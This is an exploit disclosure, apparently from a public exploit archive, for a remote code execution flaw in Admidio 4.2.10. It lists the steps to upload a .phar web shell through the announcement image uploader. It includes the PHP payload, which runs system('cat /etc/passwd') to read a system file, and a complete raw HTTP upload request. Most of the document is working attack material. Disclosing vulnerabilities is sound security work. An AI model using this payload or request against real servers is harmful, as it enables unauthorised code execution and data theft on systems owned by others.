Admidio 4.2.10 Remote Code Execution

Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE)Application: AdmidioVersion: 4.2.10Bugs:  RCETechnology: PHPVendor URL: https://www.admidio.org/Software Link: https://www.admidio.org/download.phpDate of found: 10.07.2023Author: Mirabbas AğalarovTested on: Linux2. Technical Details & POC========================================Steps:1. Login to account2. Go to Announcements3. Add Entry4. Upload .phar file in image upload section..phar file Content<?php echo system('cat /etc/passwd');?>5. Visit .phar file  ( http://localhost/admidio/adm_my_files/announcements/images/20230710-172217_430o3e5ma5dnuvhp.phar )Request:POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1Host: localhostContent-Length: 378Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=AnnouncementsAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MBConnection: close------WebKitFormBoundaryne9TRuC1tAqhR86rContent-Disposition: form-data; name="upload"; filename="shell.phar"Content-Type: application/octet-stream<?php echo system('cat /etc/passwd');?>------WebKitFormBoundaryne9TRuC1tAqhR86rContent-Disposition: form-data; name="ckCsrfToken"o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB------WebKitFormBoundaryne9TRuC1tAqhR86r--